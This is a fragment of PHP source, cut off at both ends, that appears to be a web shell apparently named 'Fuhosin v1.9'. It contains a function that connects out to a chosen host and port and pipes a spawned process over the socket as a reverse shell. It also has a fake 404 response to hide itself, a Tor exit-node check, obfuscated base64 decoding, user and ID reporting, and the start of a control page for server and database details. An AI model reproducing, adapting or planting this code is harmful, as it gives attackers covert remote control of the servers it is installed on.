$sockets[0][0], 1 => $sockets[1][0], 2 => $sockets[2][0], ), $pipes, null, null, array('bypass_shell' => true)); if (is_resource($process)) { echo "Process $command opened successfully, multiplexing..."; $running = true; foreach(array($sockets[1][1], $sockets[2][1]) as $k => $pipe) { stream_set_blocking($pipe, false); } $socket_int = intval($socket); $stdin = $sockets[0][1]; while($running) { $reads = array($socket, $sockets[1][1], $sockets[2][1]); $write = $excepts = null; if (false === ($act = stream_select($reads, $writes, $excepts, 1))) { $running = false; } elseif ($act > 0) { print_r($reads); foreach($reads as $skt) { $skt_int = intval($skt); $buf = fread($skt, 4096); if (empty($buf)) { $running = false; break; } elseif ($skt_int === $socket_int) { safe_write($stdin, $buf); } else { safe_write($socket, $buf); } } } } proc_close($process); } } function connectToSocat($host, $port, $command) { $fp = stream_socket_client("tcp://$host:$port", $errno, $errstr, 30); if(!$fp) { echo "Error $errstr ($errno)\n"; } else { shellToSocketViaSelect($fp, $command); } } function safe_write($socket, $buf) { stream_set_blocking($socket, true); fwrite($socket, $buf); stream_set_blocking($socket, false); } function handleError($errno, $errstr, $errfile, $errline, $errcontext) { if (0 === error_reporting()) { return false; } $GLOBALS["results"] .= "Err: ".strip_tags($errstr)."\n"; } set_error_handler('handleError'); //Lazy error handling function windows() { $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") { return 1; } else return 0; } function error404(){ if (strpos($_SERVER['SERVER_SOFTWARE'], 'mod_fastcgi') === FALSE || strpos($_SERVER["SERVER_SOFTWARE"], 'mod_fcgi') === FALSE) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); } else { header('Status: 404 Not Found'); } echo '
The requested URL ',$_SERVER['PHP_SELF'],' was not found on this server.
'; die; } function rblcheck($host) { $lookup = implode('.', array_reverse(explode('.', $host))) . ".80.0.39.194.173.ip-port.exitlist.torproject.org"; if (strstr(gethostbyname($lookup), "127.0.0")) { return $rbl; } return false; } function truncate($string, $max = 20, $replacement = '') { if (strlen($string) <= $max) return $string; $leave = $max - strlen ($replacement); return substr_replace($string, $replacement, $leave); } function whoami() { $uid = suhosin_func_exists("posix_geteuid") ? posix_geteuid() : getmyuid(); $gid = suhosin_func_exists("posix_getegid") ? posix_getegid() : getmygid(); if (suhosin_func_exists("posix_getpwuid") && suhosin_func_exists("posix_geteuid")) { $user = posix_getpwuid(posix_geteuid()); $user = $user["name"]; } else $user = get_current_user(); if ($user == "root") $user = "root"; return "uid: $uid($user) gid: $gid\n"; } function shit64_decode($in){ $in = substr($in, 0, -4); return $GLOBALS["nintendosixtyfour"]($in); } function print_page($results, $sqlhost, $sqldb, $sqluser, $sqlpass, $sqlquery, $focusid, $sshport) { $version = "1.9"; $versionstring = "Fuhosin v$version"; //page $page = <<
Uname: User: MQuotes: Cwd: Path: Disable: Suhosin: |
USER MAGICQUOTES Safemode: SAFEMODE CWD DISABLEFUNCTIONS SUHOSIN |
|